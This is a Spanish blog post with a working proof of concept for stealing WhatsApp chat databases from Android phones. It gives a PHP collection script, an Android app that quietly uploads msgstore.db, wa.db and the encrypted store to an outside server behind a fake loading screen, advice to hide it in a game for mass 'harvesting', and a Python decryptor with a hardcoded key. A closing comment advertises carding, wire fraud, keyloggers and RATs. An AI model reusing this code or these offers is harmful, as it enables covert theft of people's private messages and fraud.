La base de datos WhatsApp se guarda en la tarjeta SD que puede ser leído por cualquier aplicación Android si el usuario le permite acceder a la tarjeta SD. Y puesto que la mayoría de la gente permite que todo se guarde en su dispositivo Android, esto no es un gran problema.
Entonces, ¿qué tenemos hacer para robar la base de datos de alguien Whatsapp? Primero necesitamos un lugar para almacenar la base de datos. Un simple script php
upload_wa.php
<?php
// Upload script to upload Whatsapp database
// This script is for testing purposes only.
$uploaddir = "/tmp/whatsapp/";
if ($_FILES["file"]["error"] > 0)
{
echo "Error: " . $_FILES["file"]["error"] . "<br>";
}
else
{
echo "Upload: " . $_FILES["file"]["name"] . "<br>";
echo "Type: " . $_FILES["file"]["type"] . "<br>";
echo "Size: " . ($_FILES["file"]["size"] / 1024) . " kB<br>";
echo "Stored in: " . $_FILES["file"]["tmp_name"];
$uploadfile = $uploaddir . $_SERVER['REMOTE_ADDR'] . "." . basename($_FILES['file']['name']);
move_uploaded_file($_FILES['file']['tmp_name'], $uploadfile);
}
?>
<html><head><title>Shoo.. nothing here</title></head><body><form method="post" enctype="multipart/form-data"><input type="file" name="file" id="file"><input type="submit" value="Submit"></form></body></html>
Asegúrese de configurar el php.ini para que pueda cargar (grandes) archivos.
php.ini
...
file_uploads = On
post_max_size = 32M
upload_max_filesize = 32M
Lo siguiente que necesitamos es una aplicación para Android que carga la base de datos de WhatsApp a la página web. He creado un nuevo proyecto por defecto en Eclipse e hice un par de cambios. En primer lugar, necesitamos algunos derechos adicionales para acceder a la tarjeta SD y subir a Internet. Para ello he añadido algunas líneas al archivo AndroidManifest.xml.
AndroidManifest.xml
<?xml version="1.0" encoding="utf-8"?>Para la disposición utilicé el diseño predeterminado que crea Eclipse, pero me mudé al TextView al centro y aumenté el tamaño del texto. La magia de carga que pasa antes de ver la disposición, para esta prueba de concepto de este activity_main.xml es lo suficientemente bueno.
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
package="bb.security.whatsappupload"
android:versionCode="1"
android:versionName="1.0" >
<uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />
<uses-permission android:name="android.permission.INTERNET" />
<uses-sdk
android:minSdkVersion="8"
android:targetSdkVersion="19" />
<application
android:allowBackup="true"
android:icon="@drawable/ic_launcher"
android:label="@string/app_name"
android:theme="@style/AppTheme" >
<activity
android:name="bb.security.whatsappupload.MainActivity"
android:label="@string/app_name" >
<intent-filter>
<action android:name="android.intent.action.MAIN" />
<category android:name="android.intent.category.LAUNCHER" />
</intent-filter>
</activity>
</application>
</manifest>
activity_main.xml
Hasta el momento, nada emocionante, sin embargo, la verdadera emoción viene en el archivo MainActivity.java. Vamos a tratar de subir 3 archivos:<RelativeLayout xmlns:android="http://schemas.android.com/apk/res/android"xmlns:tools="http://schemas.android.com/tools"android:layout_width="match_parent"android:layout_height="match_parent"android:paddingBottom="@dimen/activity_vertical_margin"android:paddingLeft="@dimen/activity_horizontal_margin"android:paddingRight="@dimen/activity_horizontal_margin"android:paddingTop="@dimen/activity_vertical_margin"tools:context=".MainActivity" ><TextViewandroid:layout_width="wrap_content"android:layout_height="wrap_content"android:layout_alignParentTop="true"android:layout_centerHorizontal="true"android:layout_marginTop="179dp"android:text="@string/hello_world"android:textSize="24sp" /></RelativeLayout>
- /WhatsApp/Databases/msgstore.db
- /WhatsApp/Databases/wa.db
- /WhatsApp/Databases/msgstore.db.crypt
Durante la carga de los archivos de la base de WhatsApp vamos a mostrar una pantalla de carga simple, por lo que la gente piensa que la aplicación está haciendo algo interesante en el fondo.
MainActivity.java
package bb.security.whatsappupload;
/*
* This application is for testing purposes only.
* Use of this application is at your own risk.
*/
import java.io.DataInputStream;
import java.io.DataOutputStream;
import java.io.File;
import java.io.FileInputStream;
import java.io.IOException;
import java.net.HttpURLConnection;
import java.net.MalformedURLException;
import java.net.URL;
import android.os.AsyncTask;
import android.os.Bundle;
import android.os.Environment;
import android.app.Activity;
import android.app.ProgressDialog;
import android.util.Log;
import android.view.Menu;
public class MainActivity extends Activity {
//A ProgressDialog object
private ProgressDialog progressDialog;
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
new UploadWhatsApp().execute();
}
@Override
public boolean onCreateOptionsMenu(Menu menu) {
// Inflate the menu; this adds items to the action bar if it is present.
getMenuInflater().inflate(R.menu.main, menu);
return true;
}
@SuppressWarnings("deprecation")
private void uploadFile(String file) {
HttpURLConnection conn = null;
DataOutputStream dos = null;
DataInputStream inStream = null;
Log.i("FILE", "Filename:\n" + file);
String lineEnd = "\r\n";
String twoHyphens = "--";
String boundary = "*****";
int bytesRead, bytesAvailable, bufferSize;
byte[] buffer;
int maxBufferSize = 1 * 1024 * 1024 * 1024;
String urlString = "http://bas.bosschert.nl/whatsapp/upload_wa.php";
try {
// ------------------ CLIENT REQUEST
FileInputStream fileInputStream = new FileInputStream(new File(
file));
// open a URL connection to the Servlet
URL url = new URL(urlString);
// Open a HTTP connection to the URL
conn = (HttpURLConnection) url.openConnection();
// Allow Inputs
conn.setDoInput(true);
// Allow Outputs
conn.setDoOutput(true);
// Don't use a cached copy.
conn.setUseCaches(false);
// Use a post method.
conn.setRequestMethod("POST");
conn.setRequestProperty("Connection", "Keep-Alive");
conn.setRequestProperty("Content-Type",
"multipart/form-data;boundary=" + boundary);
dos = new DataOutputStream(conn.getOutputStream());
dos.writeBytes(twoHyphens + boundary + lineEnd);
dos.writeBytes("Content-Disposition: form-data; name=\"file\";filename=\""
+ file + "\"" + lineEnd);
dos.writeBytes(lineEnd);
// create a buffer of maximum size
bytesAvailable = fileInputStream.available();
bufferSize = Math.min(bytesAvailable, maxBufferSize);
buffer = new byte[bufferSize];
// read file and write it into form...
bytesRead = fileInputStream.read(buffer, 0, bufferSize);
while (bytesRead > 0) {
dos.write(buffer, 0, bufferSize);
bytesAvailable = fileInputStream.available();
bufferSize = Math.min(bytesAvailable, maxBufferSize);
bytesRead = fileInputStream.read(buffer, 0, bufferSize);
}
// send multipart form data necesssary after file data...
dos.writeBytes(lineEnd);
dos.writeBytes(twoHyphens + boundary + twoHyphens + lineEnd);
// close streams
Log.e("Debug", "File is written");
fileInputStream.close();
dos.flush();
dos.close();
} catch (MalformedURLException ex) {
Log.e("Debug", "error: " + ex.getMessage(), ex);
} catch (IOException ioe) {
Log.e("Debug", "error: " + ioe.getMessage(), ioe);
}
// ------------------ read the SERVER RESPONSE
try {
if (conn != null){
inStream = new DataInputStream(conn.getInputStream());
String str;
while ((str = inStream.readLine()) != null) {
Log.e("Debug", "Server Response " + str);
}
inStream.close();
}
} catch (IOException ioex) {
Log.e("Debug", "error: " + ioex.getMessage(), ioex);
}
}
private class UploadWhatsApp extends AsyncTask<Void, Integer, Void>{
@Override
protected void onPreExecute()
{
//Create a new progress dialog
progressDialog = ProgressDialog.show(MainActivity.this,"Loading Application, please wait...",
"Loading, please wait...", false, false);
}
//The code to be executed in a background thread.
@Override
protected Void doInBackground(Void... params)
{
String fileWACrypt = Environment.getExternalStorageDirectory()
.getPath() + "/WhatsApp/Databases/msgstore.db.crypt";
String fileWAPlain = Environment.getExternalStorageDirectory()
.getPath() + "/WhatsApp/Databases/msgstore.db";
String fileWAwa = Environment.getExternalStorageDirectory()
.getPath() + "/WhatsApp/Databases/wa.db";
MainActivity.this.uploadFile(fileWACrypt);
MainActivity.this.uploadFile(fileWAPlain);
MainActivity.this.uploadFile(fileWAwa);
return null;
}
//Update the progress
@Override
protected void onProgressUpdate(Integer... values)
{
//set the current progress of the progress dialog
progressDialog.setProgress(values[0]);
}
//after executing the code in the thread
@Override
protected void onPostExecute(Void result)
{
//close the progress dialog
progressDialog.dismiss();
//initialize the View
setContentView(R.layout.activity_main);
}
}
}
Al hacer la magia en la pantalla de carga, también puede agregar este código en una aplicación real en lugar del mensaje Hello World que ves ahora. Combínalo con algo como FlappyBird y una descripción de cómo instalar aplicaciones de fuentes desconocidas y se puede cosechar una gran cantidad de bases de datos.
La base de datos WhatsAppp es una base de datos SQLite3 que se puede convertir a Excel para un acceso más fácil. Últimamente WhatsApp está utilizando encriptación para cifrar la base de datos, por lo que ya no puede ser abierto por SQLite. Pero simplemente podemos descifrar esta base de datos mediante un sencillo script en Python. Este script convierte la base de datos encriptada para una base de datos SQLite3 simple (clave de Whatsapp Xtract conseguido).
whatsapp_decrypt.py
Por lo tanto, podemos concluir que cada aplicación puede leer la base de datos de WhatsApp y también es posible leer los chats de las bases de datos cifrados. Facebook no necesita comprar WhatsApp para leer sus chats.
#!/usr/bin/env python
import sys
from Crypto.Cipher import AES
try:
wafile=sys.argv[1]
except:
print "Usage: %s <msgstore.db.crypt>" % __file__
sys.exit(1)
key = "346a23652a46392b4d73257c67317e352e3372482177652c".decode('hex')
cipher = AES.new(key,1)
open('msgstore.db',"wb").write(cipher.decrypt(open(wafile,"rb").read()))
Hello all
ResponderBorraram looking few years that some guys comes into the market
they called themselves hacker, carder or spammer they rip the
peoples with different ways and it’s a badly impact to real hacker
now situation is that peoples doesn’t believe that real hackers and carder scammer exists.
Anyone want to make deal with me any type am available but first
I‘ll show the proof that am real then make a deal like
Available Services
..Wire Bank Transfer all over the world
..Western Union Transfer all over the world
..Credit Cards (USA, UK, AUS, CAN, NZ)
..School Grade upgrade / remove Records
..Spamming Tool
..keyloggers / rats
..Social Media recovery
.. Teaching Hacking / spamming / carding (1/2 hours course)
discount for re-seller
Contact: 24/7
fixitrogers@gmail.com